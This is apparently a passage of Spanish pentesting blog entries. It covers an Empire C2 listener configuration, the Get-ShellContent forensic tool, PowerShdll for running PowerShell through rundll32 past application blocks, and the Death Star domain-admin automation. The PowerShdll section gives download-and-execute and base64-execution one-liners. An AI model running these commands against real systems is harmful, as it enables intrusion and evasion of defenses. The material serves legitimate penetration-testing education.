  Host              True        http://192.168.1.180:8888        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8888                             Port for the listener.

(Empire: listeners) > execute
[*] Listener 'test' successfully started.
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.1.180:8888            native    5/0.0

Recupera todo el historial de comandos con Get-ShellContent

Ya lo hemos hablado más veces y es que el malware basado en lenguajes de scripting como PowerShell o Python está aumentando exponencialmente debido fundamentalmente a que:
- el intérprete está instalado por defecto en el sistema operativo
- son difíciles de detectar porque se basan en herramientas legítimas para realizar actividad maliciosa
- pueden existir sólo en memoria

En el caso de M$, desde Windows 7 y posteriores el proceso conhost.exe es el responsable de abrir cada instancia de una consola de comandos. Es decir, por cada consola se abrirá un nuevo proceso conhost, así que dumpeando esos procesos podremos obtener la entrada y la salida de cada aplicación que es llamada desde la línea de comandos con PowerShell, CMD, Python, Wscript, etc.


Hasta ahora, la forma más común de investigar el historial de comandos ejecutado en las shells durante un forense era utilizar los módulos CMDSCAN y CONSOLES en los frameworks rekall y Volatility, pero no siempre extraen todos los datos disponibles dentro de la sección de memoria del proceso de conhost. Adicionalmente, ejecutar el análisis de memoria utilizando estas herramientas suele ser lento ya que necesita un volcado de memoria completo.
Y otra cosa más: investigar los comandos ejecutados en una consola es más eficaz cuando se lleva a cabo inmediatamente después de que se abrió la consola porque la mayoría de los datos volátiles todavía residen en la memoria.

Es por eso que una herramienta fácil y rápida basada en Powershell será la
mejor opción para nuestro arsenal: por eso nace Get-ShellContent.

PowerShdll: Ejecuta PowerShell con rundll32

En un test de intrusión algunas veces (aunque desgraciadamente pocas) existen restricciones que permiten ejecutar powershell. Por ejemplo, puede darse el caso en el que vayamos a instalar un agente de Empire y nos encontremos con que el cliente bloquea powershell.exe. ¡No hay problema! PowerShdll v0.2 nos permite ejecutar Powershell sólo con dlls, mediante rundll32:

Ejecutar un script codificado en base64:

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

Descargar y ejecutar un script:

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Modo dll:
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

Modo exe:
Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Nota: En modo dll, el modo interactivo y la salida del comando dependen de secuestrar la consola del proceso padre. Si el proceso padre no tiene consola, hay que utilizar el parámetro -n para no mostrar la salida o de lo contrario la aplicación se bloqueará.

Proyecto: https://github.com/p3nt4/PowerShdll

Death Star: una herramienta para hacerse administrador de dominio con sólo pulsar un botón

Recientemente leía un artículo de byt3bl33d3r en el que afirmaba que el pentesting en el Directorio Activo es en la actualidad *relativamente* sencillo gracias a herramientas como Empire y BloodHound y, ciertamente, tiene toda la razón. Desde la irrupción de powershell los atacantes han encontrado una poderosa herramienta para evadir la seguridad en entornos Windows y han aparecido algunos toolkits ofensivos que facilitan enormemente la tarea. De hecho, os recomiendo que echéis un vistazo también al mod de Empire de nuestro compañero Luis Vacas que incluye nuevos e interesantes módulos.

Como comentamos, gracias a estos frameworks que usan powershell es posible hacerse con privilegios de administración con relativa facilidad y si eres pentester puedes encontrarte haciendo las mismas cosas una y otra vez. Por eso byt3bl33d3r pensó que era la hora de automatizar... y el resultado es espectacular y el sueño de todo script kiddie: la Estrella de la Muerte o Death Star, una herramienta de "botón gordo" que se encarga ella solita de obtener automáticamente el domain admin.

Antes de continuar y como recordatorio, decir que obtener el domain admin no debe ser la consecución final de un pentest porque existen otras tareas en la post-explotación como buscar recursos sensibles y otros activos vulnerables que puedan demostrar claramente hasta dónde podía haber impactado en la organización un ataque si se tratara de un compromiso real... pero tener un administrador de dominio, ¿facilitaría las cosas, verdad? ;)

Objetivos del proyecto e implementación

Originalmente el autor quería algo que sólo tomara la salida de BloodHound, analizarla, alimentarla a Empire y hacerla seguir la 'cadena'. Sin embargo, BloodHound parece que no tiene en cuenta las rutas que podrían lograrse habiendo escalado privilegios de dominio por ejemplo con las contraseñas de GPP en SYSVOL.

Así que quería una versión más "activa" de BloodHound con un comportamiento similar a un gusano. Además, Empire tiene la mayor parte de la funcionalidad principal de BloodHound cubierta entre todos sus módulos y, si no la tuviera, podía implementarse en un nuevo módulo (como por ej. el 'ACL attack path update').

Por eso decidió quedarse con Empire y automatizar todo usando su API RESTful. Esto también le daría la libertad de analizar la salida de un módulo como mejor le pareciera y tener más control sobre la lógica general y la retroalimentación del usuario.